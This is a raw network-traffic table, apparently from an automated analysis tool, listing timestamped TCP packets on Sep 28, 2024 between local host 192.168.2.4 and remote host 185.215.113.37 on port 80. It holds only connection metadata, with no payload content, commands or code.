Sep 28, 2024 10:19:11.863118887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863123894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863154888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863205910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863205910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863816023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863850117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863867998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863883972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863895893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863918066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863924980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863953114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863960981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863986969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863995075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864021063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864029884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864056110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864065886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864089012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864103079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864121914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864129066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864156008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864162922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864198923 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864664078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864701033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864717007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864732027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864742994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864765882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864768982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864801884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864809990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864836931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864841938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864871979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864878893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864907980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.864914894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.864958048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.900329113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.900392056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.900405884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.900422096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.900542974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991127014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991203070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991250992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991280079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991306067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991312981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991323948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991359949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991417885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991450071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991472960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991483927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991496086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991518974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991529942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991568089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991667032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991724968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991745949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991775036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991799116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991817951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991867065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991899014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991924047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991936922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.991939068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.991985083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992208958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992240906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992264986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992273092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992283106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992305994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992324114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992338896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992361069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992371082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992383957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992404938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992415905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992434978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992454052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992486000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992647886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992681026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992697954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992712975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992726088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992755890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992851973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992883921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992902994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992917061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992924929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.992952108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.992960930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993010044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993221998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993252993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993273020 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993285894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993295908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993320942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993330002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993376970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993590117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993619919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993647099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993652105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993685961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993685961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993724108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993727922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993729115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993758917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993791103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993814945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993814945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993824959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993853092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.993853092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993874073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.993904114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994199991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994231939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994255066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994265079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994273901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994297981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994314909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994332075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994348049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994365931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994380951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994400024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994415045 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994427919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994452000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994460106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994476080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994493008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994512081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994540930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994540930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994575024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994592905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994606018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.994621992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.994658947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995044947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995079041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995099068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995117903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995126963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995161057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995172977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995193005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995208979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995224953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995239973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995254993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995271921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995289087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995302916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995322943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995336056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995357990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995369911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995419979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995886087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995918989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995938063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995951891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995959044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.995985985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.995996952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996018887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996035099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996052980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996064901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996085882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996098042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996117115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996131897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996150017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996154070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996185064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996197939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996220112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996232986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996270895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996725082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996762991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996778965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996813059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996845961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996848106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996880054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996885061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996912956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996931076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996939898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.996948004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996964931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.996982098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997013092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997029066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997054100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.997104883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.997658014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997693062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997715950 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.997726917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997750998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.997761011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997765064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.997793913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.997811079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.997837067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.087979078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.088026047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.088140965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.088140965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124087095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124139071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124150038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124174118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124185085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124207973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124222040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124242067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124252081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124274969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124291897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124305964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124319077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124340057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124356031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124383926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124438047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124469995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124484062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124519110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124592066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124625921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124645948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124658108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124670029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124694109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124705076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124742985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.124852896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.124902010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125000000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125031948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125052929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125063896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125077009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125097990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125107050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125132084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125147104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125164986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125180960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125199080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125209093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125247002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125418901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125451088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125472069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125490904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125566959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125597954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125623941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125632048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125638962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125665903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125677109 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125699997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.125713110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125746965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.125962973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126010895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126015902 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126044035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126050949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126079082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126090050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126112938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126123905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126147032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126157999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126182079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126197100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126229048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126497030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126528978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126550913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126560926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126571894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126590967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126606941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126625061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126641035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126658916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126677036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126688957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126709938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126724005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126740932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126758099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126771927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126791000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.126806021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.126835108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.167125940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.172039032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392448902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392517090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392555952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392555952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392591000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392591000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392601013 CEST	49730	80	192.168.2.4	185.215.113.37
